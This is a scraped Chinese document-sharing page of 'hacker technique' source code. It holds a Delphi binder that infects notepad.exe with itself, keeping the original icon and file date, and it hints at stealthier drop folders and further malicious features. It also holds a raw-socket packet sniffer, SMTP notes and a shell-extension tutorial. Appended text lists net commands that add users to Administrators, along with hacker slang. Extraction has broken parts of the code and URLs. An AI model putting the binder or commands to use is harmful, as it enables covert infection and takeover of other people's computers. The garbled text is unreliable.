当前位置:文档之家› 高级黑客技巧之源代码篇

高级黑客技巧之源代码篇

高级黑客技巧之源代码篇
高级黑客技巧之源代码篇

高级黑客技巧之源代码部分

目录

1、捆绑执行文件方法及源代码

(2-6页)

2、Win2k命令行下的Sniffer源代码

(7-14页)

3、SMTP协议原始命令码和工作原理

(15-18页)

4、Windows外壳扩展编程之添加右键

菜单

(19-30页)

5、利用DELPHI编写WINDOWS外壳

(31-37页)

6、利用Hook技术实现键盘监控(38-40

页)

1、捆绑执行文件方法及源代码

最新功能:与其它程序捆绑后,图标为其它程序的图标

这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存

如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上%$#@*^ 功能...

程序中几个数字的确定:

1 在本程序编译后用Aspack.Exe压缩,大小为41472

2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据

位于从第40752字节开始共640字节,图标后还有81字节

与其它程序捆绑的过程:

本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部

怎么找到图标的位置:

将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制

编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。

十六进制编辑软件:常用UltraEdit。

本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:

https://www.doczj.com/doc/c68531046.html,/download/hexedit.exe

}

program exe2;

uses

classes,

Tlhelp32,

windows,

graphics,

ShellAPI,

SysUtils;

{$R *.RES}

var

lppe:TProcessEntry32;

found:boolean;

handle:THandle;

ProcessStr,ExeName:string;

WinDir:pchar;

const

MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}

procedure copy2(s:string);

var

s1,s2,IcoStream:TMemoryStream;

File2:TFilestream;

ch:array[0..1] of char;

ss:string;

filetime,fhandle:integer;

l:integer;

File2Icon:Ticon;

begin

{若文件s不存在}

if FileExists(s)=False then exit;

try

{若文件不含图标,就不捆绑}

File2Icon:=Ticon.Create;

l:=extracticon(handle,pchar(s),0);

if l=0 then

begin

File2Icon.Free;

exit;

end

else

begin

{提取被捆绑程序图标}

File2Icon.Handle:=extracticon(handle,pchar(s),0);

IcoStream:=TMemoryStream.Create;

File2Icon.SaveToStream(IcoStream);

File2Icon.Free;

end;

{判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过} File2:=TFilestream.Create(s,fmopenread);

if File2.Size>MySize then

begin

File2.Position:=MySize;

File2.Read(ch,2);

ss:=copy(ch,1,2);

if ss='MZ' then

begin

File2.Free;

exit;

end;

end;

File2.Free;

{将本文件与文件s合并本文件+s=s}

s2:=TMemoryStream.Create;

s2.loadfromfile(ExeName);

s1:=TMemoryStream.Create;

{

加入本程序的前部40751字节

第40752字节开始共640字节为图标数据

!!以下数字40751,81要根据实际情况修改!! }

s1.copyfrom(s2,40751);

{将图标换为被捆绑程序图标,图标大小为766} IcoStream.Position:=126;

s1.CopyFrom(IcoStream,640); IcoStream.Free;

s2.Position:=40751+640;

{加入本程序的后部81字节}

s1.CopyFrom(s2,81);

s2.clear;

s2.loadfromfile(s);

s1.seek(s1.size,soFromBeginning);

{加入被捆绑程序全部}

s1.copyfrom(s2,s2.size);

s2.free;

{得到文件s的日期}

fhandle:=FileOpen(s, fmOpenread); filetime:=filegetdate(fhandle);

fileclose(fhandle);

s1.SaveToFile(s);

{恢复文件s的日期}

fhandle:=FileOpen(s, fmOpenwrite); filesetdate(fhandle,filetime);

fileclose(fhandle);

s1.free;

except end;

end;

procedure CreateFileAndRun;

var

s1,s2:TMemoryStream;

TempDir:pchar;

cmdstr:string;

a:integer;

Begin

s1:=TMemoryStream.Create;

s1.loadfromfile(ExeName);

if s1.Size=MySize then

s1.Free;

exit;

end;

s1.seek(MySize,soFromBeginning);

s2:=TMemoryStream.Create;

s2.copyfrom(s1,s1.Size-MySize);

GetMem(TempDir,255);

GetTempPath(255,TempDir);

try

{

把文件释放到临时目录。

如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,

如c:\windows(or winnt)\d...(☆这是个什么目录?你去研究研究吧!☆)

}

s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));

except end;

cmdstr:='';

a:=1;

while ParamStr(a)<>'' do begin

cmdstr:=cmdstr+ParamStr(a)+' ';

inc(a);

end;

{运行真正的程序文件}

winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW); freemem(TempDir);

s2.free;

s1.free;

end;

begin

GetMem(WinDir,255);

GetWindowsDirectory(WinDir,255);

ExeName:=ParamStr(0);

handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);

found:=Process32First(handle,lppe);

ProcessStr:='';

while found do

begin

ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}

found:=Process32Next(handle,lppe);

end;

{如果notepad没运行,就与它捆在一起}

if pos(WinDir+'\notepad.exe',ProcessStr)=0 then

copy2(WinDir+'\notepad.exe');

end;

{其它需要捆绑的文件

if pos(...,ProcessStr)=0 then

begin

copy2(...);

end;

...

}

freemem(WinDir);

{

你想用这个程序干点其它的什么...

}

CreateFileAndRun;{释放文件并带参数运行} end.

2、Win2k命令行下的Sniffer源代码

//////////////////////////////////////////////////////////////////////////

// //

// IpDump For Win2K by Shotgun //

//// // Released: [2001.4] //

// Author: [Shotgun] //

// Homepage: //

// [https://www.doczj.com/doc/c68531046.html,]//

// [https://www.doczj.com/doc/c68531046.html,] //

// //

//////////////////////////////////////////////////////////////////////////

#include

#include

#include

#include

#define STATUS_FAILED 0xFFFF //定义异常出错代码

#define MAX_PACK_LEN65535 //接收的最大IP报文

#define MAX_ADDR_LEN16 //点分十进制地址的最大长度

#define MAX_PROTO_TEXT_LEN 16 //子协议名称(如"TCP")最大长度

#define MAX_PROTO_NUM 12 //子协议数量

#define MAX_HOSTNAME_LAN 255 //最大主机名长度

#define CMD_PARAM_HELP true

typedef struct _iphdr

{

unsigned char h_lenver; //4位首部长度+4位IP版本号

unsigned char tos; //8位服务类型TOS

unsigned short total_len; //16位总长度(字节)

unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位

unsigned char ttl; //8位生存时间TTL

unsigned char proto; //8位协议(TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校验和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位目的IP地址

}IP_HEADER;

typedef struct _tcphdr //定义TCP首部

{

USHORT th_sport; //16位源端口

USHORT th_dport; //16位目的端口

unsigned int th_seq; //32位序列号

unsigned int th_ack; //32位确认号

unsigned char th_lenres; //4位首部长度/6位保留字

unsigned char th_flag; //6位标志位

USHORT th_win; //16位窗口大小

USHORT th_sum; //16位校验和

USHORT th_urp; //16位紧急数据偏移量

}TCP_HEADER;

typedef struct _udphdr //定义UDP首部

{

unsigned short uh_sport;//16位源端口

unsigned short uh_dport;//16位目的端口

unsigned short uh_len; //16位长度

unsigned short uh_sum; //16位校验和

} UDP_HEADER;

typedef struct _icmphdr //定义ICMP首部

{

BYTE i_type; //8位类型

BYTE i_code; //8位代码

USHORT i_cksum; //16位校验和

USHORT i_id; //识别号(一般用进程号作为识别号)

USHORT i_seq; //报文序列号

ULONG timestamp; //时间戳

}ICMP_HEADER;

typedef struct _protomap //定义子协议映射表

{

int ProtoNum;

char ProtoText[MAX_PROTO_TEXT_LEN];

}PROTOMAP;

PROTOMAP ProtoMap[MAX_PROTO_NUM]={ //为子协议映射表赋值{ IPPROTO_IP, "IP" },

{ IPPROTO_ICMP , "ICMP" },

{ IPPROTO_IGMP , "IGMP" },

{ IPPROTO_GGP, "GGP " },

{ IPPROTO_TCP, "TCP " },

{ IPPROTO_PUP, "PUP " },

{ IPPROTO_UDP, "UDP " },

{ IPPROTO_IDP, "IDP " },

{ IPPROTO_ND, "NP" },

{ IPPROTO_RAW, "RAW " },

{ IPPROTO_MAX, "MAX " },

{ NULL , "" } };

SOCKET SockRaw;

char TcpFlag[6]={'F','S','R','P','A','U'}; //定义TCP标志位

bool ParamTcp =false; // -t关注TCP 报文

bool ParamUdp =false; // -u关注UDP 报文

bool ParamIcmp =false; // -i关注ICMP报文

bool ParamDecode=true; // -d对协议进行解码

char *strFromIpFilter=NULL; // 源IP地址过滤

char *strDestIpFilter=NULL; // 目的地址过滤

int DecodeIpPack(char *,int);

int DecodeTcpPack(char *);

int DecodeUdpPack(char *);

int DecodeIcmpPack(char *);

void CheckSockError(int,char*);

char * CheckProtocol(int);

void usage(void);

bool GetCmdLine(int, char **);

void main(int argc, char ** argv)

{

int iErrorCode;

char RecvBuf[MAX_PACK_LEN] = {0};

usage();

if(GetCmdLine(argc, argv)==CMD_PARAM_HELP) exit(0); //初始化SOCKET

WSADATA wsaData;

iErrorCode = WSAStartup(MAKEWORD(2,1),&wsaData); CheckSockError(iErrorCode, "WSAStartup");

SockRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP); CheckSockError(SockRaw, "socket");

//获取本机IP地址

char FAR name[MAX_HOSTNAME_LAN];

iErrorCode = gethostname(name, MAX_HOSTNAME_LAN); CheckSockError(iErrorCode, "gethostname");

struct hostent FAR * pHostent;

pHostent = (struct hostent * )malloc(sizeof(struct hostent)); pHostent = gethostbyname(name);

SOCKADDR_IN sa;

sa.sin_family = AF_INET;

sa.sin_port = htons(6000);

memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); iErrorCode = bind(SockRaw, (PSOCKADDR)&sa, sizeof(sa));

CheckSockError(iErrorCode, "bind");

//设置SOCK_RAW为SIO_RCVALL,以便接收所有的IP包

DWORD dwBufferLen[10] ;

DWORD dwBufferInLen = 1 ;

DWORD dwBytesReturned = 0 ;

iErrorCode=WSAIoctl(SockRaw, SIO_RCVALL,&dwBufferInLen, sizeof(dwBufferInLen),

&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );

CheckSockError(iErrorCode, "Ioctl");

//侦听IP报文

while(1)

{

memset(RecvBuf, 0, sizeof(RecvBuf));

iErrorCode = recv(SockRaw, RecvBuf, sizeof(RecvBuf), 0);

CheckSockError(iErrorCode, "recv");

iErrorCode = DecodeIpPack(RecvBuf, iErrorCode);

CheckSockError(iErrorCode, "Decode");

}

}

//IP解包程序

int DecodeIpPack(char *buf, int iBufSize)

{

IP_HEADER *pIpheader;

int iProtocol, iTTL;

char szProtocol[MAX_PROTO_TEXT_LEN];

char szSourceIP[MAX_ADDR_LEN], szDestIP[MAX_ADDR_LEN];

SOCKADDR_IN saSource, saDest;

pIpheader = (IP_HEADER *)buf;

//Check Proto

iProtocol = pIpheader->proto;

strncpy(szProtocol, CheckProtocol(iProtocol), MAX_PROTO_TEXT_LEN);

if((iProtocol==IPPROTO_TCP) && (!ParamTcp)) return true;

if((iProtocol==IPPROTO_UDP) && (!ParamUdp)) return true;

if((iProtocol==IPPROTO_ICMP) && (!ParamIcmp)) return true;

//Check Source IP

saSource.sin_addr.s_addr = pIpheader->sourceIP;

strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);

if (strFromIpFilter)

if (strcmp(strFromIpFilter,szSourceIP)) return true;

//Check Dest IP

saDest.sin_addr.s_addr = pIpheader->destIP;

strncpy(szDestIP, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN); if (strDestIpFilter)

if (strcmp(strDestIpFilter,szDestIP)) return true;

iTTL = pIpheader->ttl;

//Output

printf("%s ", szProtocol);

printf("%s->%s ", szSourceIP, szDestIP);

printf("bytes=%d TTL=%d ",iBufSize,iTTL);

//Calculate IP Header Length

int iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf); //Decode Sub Protocol:TCP, UDP, ICMP, etc

switch(iProtocol)

{

case IPPROTO_TCP :DecodeTcpPack(buf+iIphLen);break;

case IPPROTO_UDP :DecodeUdpPack(buf+iIphLen);break;

case IPPROTO_ICMP :DecodeIcmpPack(buf+iIphLen);break; default :break;

}

//printf("\n");

return true;

}

//SOCK错误处理程序

void CheckSockError(int iErrorCode, char *pErrorMsg)

{

if(iErrorCode==SOCKET_ERROR)

{

printf("%s Error:%d\n", pErrorMsg, GetLastError());

closesocket(SockRaw);

exit(0);

}

}

//协议识别程序

char * CheckProtocol(int iProtocol)

{

for(int i=0; i

if(ProtoMap[i].ProtoNum==iProtocol)

return ProtoMap[i].ProtoText;

return "";

}

//TCP解包程序

int DecodeTcpPack(char * TcpBuf)

{

TCP_HEADER * pTcpHeader;

int i;

pTcpHeader = (TCP_HEADER * )TcpBuf;

printf("Port:%d->%d ", ntohs(pTcpHeader->th_sport),ntohs(pTcpHeader->th_dport)); unsigned char FlagMask = 1;

for( i=0; i<6; i++ )

{

if((pTcpHeader->th_flag) & FlagMask) printf("%c",TcpFlag[i]);

else printf("-");

FlagMask=FlagMask<<1;

}

printf("\n");

return true;

}

//UDP解包程序

int DecodeUdpPack(char * UdpBuf)

{

UDP_HEADER *pUdpHeader;

pUdpHeader = (UDP_HEADER * )UdpBuf;

printf("Port:%d->%d ", ntohs(pUdpHeader->uh_sport), ntohs(pUdpHeader->uh_dport)); printf("Len=%d\n", ntohs(pUdpHeader->uh_len));

return true;

}

//ICMP解包程序

int DecodeIcmpPack(char * IcmpBuf)

{

ICMP_HEADER *pIcmpHeader;

pIcmpHeader = (ICMP_HEADER * )IcmpBuf;

printf("Type:%d,%d ", pIcmpHeader->i_type,pIcmpHeader->i_code);

printf("ID=%d SEQ=%d\n", pIcmpHeader->i_id, pIcmpHeader->i_seq);

return true;

}

//命令行参数处理

bool GetCmdLine(int argc, char ** argv)

{

if (argc<2) return CMD_PARAM_HELP;

for(int i=1;i

{

if(argv[i][0]!='/') return CMD_PARAM_HELP;

else switch (argv[i][1])

{

case 't':

case 'T': ParamTcp=true; break;

case 'u':

case 'U': ParamUdp=true; break;

case 'i':

case 'I': ParamIcmp=true; break;

case 'p':

case 'P': ParamDecode=true; break;

case 'f':

case 'F':

{

strFromIpFilter=(char*)malloc(16*sizeof(char)); memset(strFromIpFilter,0,16*sizeof(char));

strcpy(strFromIpFilter,argv[i]+3);

break;

}

case 'd':

case 'D':

{

strDestIpFilter=(char*)malloc(16*sizeof(char)); memset(strDestIpFilter,0,16*sizeof(char));

strcpy(strDestIpFilter,argv[i]+3);

break;

}

}

}

printf("\nWill Sniffer");

if(ParamTcp) printf(" TCP");

if(ParamUdp) printf(" Udp");

if(ParamIcmp) printf(" ICMP");

if(strFromIpFilter) printf(" FromIp:%s",strFromIpFilter); if(strDestIpFilter) printf(" DestIp:%s",strDestIpFilter); printf("\n\tCTRL+C to quit\nStart:\n");

return (!CMD_PARAM_HELP);

}

//使用说明

void usage(void)

{

printf("GUNiffer\n");

printf("\tSinffer for Win2K By Shotgun (Ver 0.2)\n");

printf("\tShotgun@https://www.doczj.com/doc/c68531046.html,\n");

printf("\thttps://www.doczj.com/doc/c68531046.html,\n");

printf("\thttps://www.doczj.com/doc/c68531046.html,\n\n");

printf("USAGE:\n");

printf("\t/t Output TCP Packets\n");

printf("\t/u Output UDP Packets\n");

printf("\t/i Output ICMP Packets\n");

printf("\t/p Decode Packets (default OFF)\n");

printf("\t/f: fromIP Output Packets FromIp=fromIP (default ALL)\n"); printf("\t/d: destIP Output Packets DestIp=destIP (default ALL)"); printf("\nExample:\n");

printf("\tGUNiffer.exe /d>IpPack.log\n");

printf("\tGUNiffer.exe /t /u /f:192.168.15.231\n");

}

3、SMTP协议原始命令码和工作原理

1.SMTP是工作在两种情况下:一是电子邮件从客户机传输到服务器;二是从某一个服务器传输到另一个服务器

2.SMTP是个请求/响应协议,命令和响应都是基于ASCII文本,并以CR和LF符结束。响应包括

一个表示返回状态的三位数字代码

3.SMTP在TCP协议25号端口监听连接请求

4.连接和发送过程:

a.建立TCP连接

b.客户端发送HELO命令以标识发件人自己的身份,然后客户端发送MAIL命令

服务器端正希望以OK作为响应,表明准备接收

c.客户端发送RCPT命令,以标识该电子邮件的计划接收人,可以有多个RCPT行

服务器端则表示是否愿意为收件人接受邮件

d.协商结束,发送邮件,用命令DATA发送

e. 以.表示结束输入内容一起发送出去

f.结束此次发送,用QUIT命令退出。

5.另外两个命令:

VRFY---用于验证给定的用户邮箱是否存在,以及接收关于该用户的详细信息。

EXPN---用于扩充邮件列表。

6.邮件路由过程:

SMTP服务器基于域名服务DNS中计划收件人的域名来路由电子邮件。SMTP服务器基于DNS中的

MX记录来路由电子邮件,MX记录注册了域名和相关的SMTP中继主机,属于该域的电子邮件都应

向该主机发送。

若SMTP服务器https://www.doczj.com/doc/c68531046.html,收到一封信要发到shuser@https://www.doczj.com/doc/c68531046.html,:

a.Sendmail请求DNS给出主机https://www.doczj.com/doc/c68531046.html,的CNAME记录,如有,假若CNAME到https://www.doczj.com/doc/c68531046.html,,

则再次请求https://www.doczj.com/doc/c68531046.html,的CNAME记录,直到没有为止

b.假定被CNAME到shmail.ab

https://www.doczj.com/doc/c68531046.html,,然后sendmail请求@https://www.doczj.com/doc/c68531046.html,域的DNS给出https://www.doczj.com/doc/c68531046.html,的

MX记录,

shmail MX 5 https://www.doczj.com/doc/c68531046.html,

10 https://www.doczj.com/doc/c68531046.html,

c. Sendmail最后请求DNS给出https://www.doczj.com/doc/c68531046.html,的A记录,即IP地址,若返回值为1.2.3.4

d. Sendmail与1.2.3.4连接,传送这封给shuser@https://www.doczj.com/doc/c68531046.html,的信到1.2.3.4这台服务器的SMTP后台程序

7.SMTP基本命令集:

命令描述

------------------------------

HELO 向服务器标识用户身份

发送者能欺骗,说谎,但一般情况下服务器都能检测到。

MAIL 初始化邮件传输

mail from:

RCPT 标识单个的邮件接收人;常在MAIL命令后面

可有多个rcpt to:

DATA 在单个或多个RCPT命令后,表示所有的邮件接收人已标识,并初始化数据传输,以.结

束。

VRFY 用于验证指定的用户/邮箱是否存在;由于安全方面的原因,服务器常禁止此命令

EXPN 验证给定的邮箱列表是否存在,扩充邮箱列表,也常被禁用

HELP 查询服务器支持什么命令

NOOP 无操作,服务器应响应OK

QUIT 结束会话

RSET 重置会话,当前传输被取消

--------------------------------

8. MAIL FROM命令中指定的地址是称作envelope from地址,不需要和发送者自己的地址是一致的。

RCPT TO 与之等同,指明的接收者地址称为envelope to地址,而与实际的to:行是什么无

关。

9.为什么没有RCPT CC和RCPT BCC:?

所有的接收者协商都通过RCPT TO命令来实现,如果是BCC,则协商发送后在对方接收时被删

掉信封接收者

10.邮件被分为信封部分,信头部分和信体部分

envelope from, envelope to 与message from:, message to:完全不相干。

evnelope是由服务器主机间SMTP后台提供的,而message from/to是由用户提供的。有无冒

号也是区别。

11. 怎样由信封部分检查是否一封信是否是伪造的?

a. received行的关联性。

现在的SMTP邮件传输系统,在信封部分除了两端的内部主机处理的之个,考虑两个公司防火

墙之间的部分,若两台防火墙机器分别为A和B,但接收者检查信封received:行时发现经过了C.则是伪造的。

b. received:行中的主机和IP地址对是否对应如:

Receibed: from https://www.doczj.com/doc/c68531046.html, (https://www.doczj.com/doc/c68531046.html, [104.128.23.115] by mail

https://www.doczj.com/doc/c68531046.html,....

c. 被人手动添加在最后面的received行:

Received: from https://www.doczj.com/doc/c68531046.html, ([104.128.23.115]) by mail https://www.doczj.com/doc/c68531046.html, (8.8.5) Received: from https://www.doczj.com/doc/c68531046.html, by https://www.doczj.com/doc/c68531046.html, (8.7.3)

Received: from https://www.doczj.com/doc/c68531046.html, by https://www.doczj.com/doc/c68531046.html, (8.6.4)

4、Windows外壳扩展编程之添加右键菜单

Windows外壳扩展编程https://www.doczj.com/doc/c68531046.html,/

在Windows下的一些软件提供了这样的功能:当安装了这些软件之后,当在Windows的Explore 中鼠标右键单击文件或者文件夹后,在弹出菜单中就会多出与该软件操作相关的菜单项,点击该项就会激活相应的程序对用户选中的文件进行相应的操作。例如安装了Winzip之后,当用户选中一个文件夹后单击右键,在弹出菜单中就会多出一个Add To Zip和一个Add To xxx.zip的选项,其中xxx为选中的文件夹的名称。只要单击上面的两个菜单项中的一个,就可以方便的压缩目录了。这样的功能称为Windows外壳扩展(Shell Extensions)

外壳扩展概述

下面是与外壳扩展相关的三个重要术语:

(1)文件对象(File Object)

文件对象是外壳中的一项,大家最熟识的文件对象是文件和目录,此外,打印机、控制面板程序、共享网

络等也都是文件对象。

(2)文件类(File Class)

文件类是具有某种共同特性的文件对象的集合,比如,扩展名相同的文件属于同一文件类。

(3)处理程序(Handler)

处理程序是具体实现某个外壳扩展的代码。

Windows支持七种类型的外壳扩展(称为Handler),它们相应的作用简述如下:

(1)Context menu handlers向特定类型的文件对象增添上下文相关菜单;

(2)Drag-and-drop handlers用来支持当用户对某种类型的文件对象进行拖放操作时的OLE 数据传输;

(3)Icon handlers用来向某个文件对象提供一个特有的图标,也可以给某一类文件对象指定图标;

(4)Property sheet handlers给文件对象增添属性页,属性页可以为同一类文件对象所共有,也可以给一个

文件对象指定特有的属性页;

(5)Copy-hook handlers在文件夹对象或者打印机对象被拷贝、移动、删除和重命名时,就会被系统调用,

通过为Windows增加Copy-hook handlers,可以允许或者禁止其中的某些操作;

(6)Drop target handlers在一个对象被拖放到另一个对象上时,就会被系统被调用;

(7)Data object handlers在文件被拖放、拷贝或者粘贴时,就会被系统被调用。

Windows的所有外壳扩展都是基于COM(Component Object Model) 组件模型的,外壳是通过接口(Interface)来访问对象的。外壳扩展被设计成32位的进程中服务器程序,并且都是以动态链接库的形式为操作系统提供服务的。因此,如果要对Windows的用户界面进行扩充的话,则具备写COM对象的一些知识是十分必要的。

写好外壳扩展程序后,必须将它们注册才能生效。所有的外壳扩展都必须在Windows注册

表的HKEY_CLASSES_ROOT\CLSID键之下进行注册。在该键下面可以找到许多名字像{0000002F-0000-0000-C000-000000000046}的键,这类键就是全局唯一类标识符。每一个外壳扩展都必须有一个全局唯一类标识符,Windows正是通过此唯一类标识符来找到外壳扩展处理程序的。在类标识符之下的InProcServer32子键下记录着外壳扩展动态链接库在系统中的位置。与某种文件类型关联的外壳扩展注册在相应类型的shellex主键下。如果所处的Windows操作系统为Windows NT,则外壳扩展还必须在注册表中的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellExtensions\Appr oved主键下登记。

注册表HKEY_CLASSES_ROOT主键下有几个特殊的子键,如*、Folder、Drive以及Printer。如果把外壳扩展注册在*子键下,那么这个外壳扩展将对Windows中所有类型的文件有效;如果把外壳扩展注册在Folder子键下,则对所有目录有效。

上面提到的在Windows Explore中在鼠标右键菜单中添加菜单项(我们成为上下文相关菜单)的操作属于外壳扩展的第一类,即Context menu handlers向特定类型的文件对象增添上下文相关菜单。要动态地在上下文相关菜单中增添菜单项,可以通过写Context Menu Handler来实现。

编写Context Menu Handler必须实现IShellExtInit和IContextMenu两个接口。除了IUnknown接口所定义的函数之外,Context Menu Handler还需要用到QueryContextMenu、InvokeCommand和GetCommandString这三个非常重要的成员函数。

(1)QueryContextMenu函数:每当系统要显示一个文件对象的上下文相关菜单时,它首先要调用该函数。为了在上下文相关菜单中添加菜单

项,我们在该函数中调用InsertMenu函数。

(2)InvokeCommand函数:当用户选定了某个Context Menu Handler登记过的菜单项后,该函数将会被调用,系统将会传给该函数一个指向

LPCMINVOKECOMMANDINFO结构的指针。在该函数中要执行与所选菜单项相对应的操作。

(3)GetCommandString函数:当鼠标指针移到一个上下文相关菜单项上时,在当前窗口的状态条上将会出现与该菜单项相关的帮助信息,此

信息就是系统通过调用该函数获取的。

下面我通过具体的例程来说明编写一个比较完整的上下文菜单程序,这个程序是一个文件操作程序,当安装并注册了外壳扩展的服务器动态连接库之后,当选择一个或者多个文件并单击鼠标右键后,在右键菜单中就会多出一个“执行文件操作”的上下文菜单,点击菜单就会弹出相应的程序执行文件操作。

在整个程序的编写中,外壳扩展的服务器动态连接库是有Delphi4.0编写的,而动态连接库调用的文件操作程序是由VB6编写的。下面首先介绍服务器动态连接库的编写:

服务器动态连接库的工程文件内容如下:

library contextmenu;

uses

ComServ,

ContextMenuHandler in 'Unit2.pas';

黑客基础知识

前言:你是不是很想做黑客呢?是不是经常周游于各个黑客站点呢?学黑客是真的很难的!它需要你有足够的耐性!毅力!只有持之以恒才能有所成就!好了~灌了那么多的水,下面就开始吧!注意:本文只适合新手!已入门的请去看别的技术文章吧!下面就用我仅仅知道的知识让你们取得第一次的成功吧!\\操作系统拜托你装个2000的好不好?不要再问为什么了~\\(本文注释用"\\注释内容\\"标记! 第一节课:命令的使用 你必须懂得一些命令才能更好地运用!总不能一边入侵一边去看例文吧!(什么?你喜欢?我晕了~)好了~下面就看看一些常用的命令吧!也就是入侵必须懂得的基本命令!如果你连这都栏得看的话你就可以放学了~放你的长假去吧! https://www.doczj.com/doc/c68531046.html, NET [ ACCOUNTS │COMPUTER │CONFIG │CONTINUE │FILE │GROUP │HELP │ HELPMSG │LOCALGROUP │NAME │PAUSE │PRINT │SEND │SESSION │ SHARE │START │STA TISTICS │STOP │TIME │USE │USER │VIEW ] 上面就是net命令.你可以在cmd下键入net/?获得.我们看看一些常用的. net user \\列举所有用户\\ 例子:c:\>net user net localgroup \\把用户分组\\ 例子:c:\>net localgroup administrators guest /add \\把guest 用户加到管理组.需要有足够的权限才能进行操作!\\ net share \\显示共享资源\\ 例子:c:\>net share net start \\启动服务,或显示已启动服务的列表\\ 例子:\>net start 例子:\>net start telnet \\启动telnet\\ net stop \\停止Windows2000网络服务\\ 例子c:\>net stop telnet \\停止telnet服务\\ net time \\显示时间\\ 例子:c:\>net time 127.0.0.1 \\显示127.0.0.1的时间\\ net use \\显示关于计算机连接的信息\\ 例子:c:\>net use net view \\显示域列表、计算机列表或者由指定计算机共享的资源\\ 例子:c:\>net view net的基本命令就到此结束吧!但并不是说其它的命令不用去学!只是我的基本教学(入侵)

黑客常用CMD命令大全

黑客常用CMD命令大全 net user heibai lovechina /add 加一个heibai的用户密码为lovechina net localgroup Administrators heibai /add 把他加入Administrator组 net start telnet 开对方的TELNET服务 net use z:\127.0.0.1c$ 映射对方的C盘 net use \\ip\ipc$ " " /user:" " 建立IPC空链接 net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: \\ip\c$ 登陆后映射对方C:到本地为H: net use \\ip\ipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名密码/add 建立用户 net user 查看有哪些用户 net user 帐户名查看帐户的属性 net user guest /active:yes 将Guest用户激活 net user guest lovechina 把guest的密码改为lovechina net user 用户名/delete 删掉用户 net user guest/time:m-f,08:00-17:00 表示guest用户登录时间为周一至周五的net user guest/time:m,4am-5pm;t,1pm-3pm;w-f,8:00-17:00 表示guest用户登录时间为周一4:00/17:00,周二13:00/15:00,周三至周五8:00/17:00. net user guest/time:all表示没有时间限制. net user guest/time 表示guest用户永远不能登录. 但是只能限制登陆时间,不是上网时间 net time \\127.0.0.1 得到对方的时间, get c:\index.htm d:\ 上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\ copy index.htm \\127.0.0.1\c$\index.htm 本地C盘下的index.htm复制到 127.0.0.1的C盘 net localgroup administrators 用户名/add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名开启服务;(如:net start telnet,net start schedule) net stop 服务名停止某服务 net time \\目标ip 查看对方时间 net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加参数 /yes可取消确认信息net view 查看本地局域网内开启了哪些共享 net view \\ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置

黑客术语大全

黑客术语大全 1,肉鸡:所谓“肉鸡”是一种很形象的比喻,比喻那些可以随意被我们控制的电脑,对方可以是WINDOWS系统,也可以是UNIX/LINUX系统,可以是普通的个人电脑,也可以是大型的服务器,我们可以象操作自己的电脑那样来操作它们,而不被对方所发觉。 2,木马:就是那些表面上伪装成了正常的程序,但是当这些被程序运行时,就会获取系统的整个控制权限。有很多黑客就是热中与使用木马程序来控制别人的电脑,比如灰鸽子,黑洞,PcShare等等。 3,网页木马:表面上伪装成普通的网页文件或是将而已的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。 4,挂马:就是在别人的网站文件里面放入网页木马或者是将代码潜入到对方正常的网页文件里,以使浏览者中马。 5,后门:这是一种形象的比喻,**者在利用某些方法成功的控制了目标主机后,可以在对方的系统中植入特定的程序,或者是修改某些设置。这些改动表面上是很难被察觉的,但是**者却可以使用相应的程序或者方法来轻易的与这台电脑建立连接,重新控制这台电脑,就好象是**者偷偷的配了一把主人房间的要是,可以随时进出而不被主人发现一样。 通常大多数的特洛伊木马(Trojan Horse)程序都可以被**者用语制作后门(BackDoor)6,rootkit:rootkit是攻击者用来隐藏自己的行踪和保留root(根权限,可以理解成WINDOWS下的system或者管理员权限)访问权限的工具。通常,攻击者通过远程攻击的方式获得root访问权限,或者是先使用密码猜解(破解)的方式获得对系统的普通访问权限,进入系统后,再通过,对方系统内存在的安全漏洞获得系统的root权限。然后,攻击者就会在对方的系统中安装rootkit,以达到自己长久控制对方的目的,rootkit与我们前边提到的木马和后门很类似,但远比它们要隐蔽,黑客守卫者就是很典型的rootkit,还有国内的ntroorkit等都是不错的rootkit工具。 9,IPC$:是共享“命名管道”的资源,它是为了让进程间通信而开放的饿命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。 10.弱口令:指那些强度不够,容易被猜解的,类似123,abc这样的口令(密码) 11.默认共享:默认共享是WINDOWS2000/XP/2003系统开启共享服务时自动开启所有硬 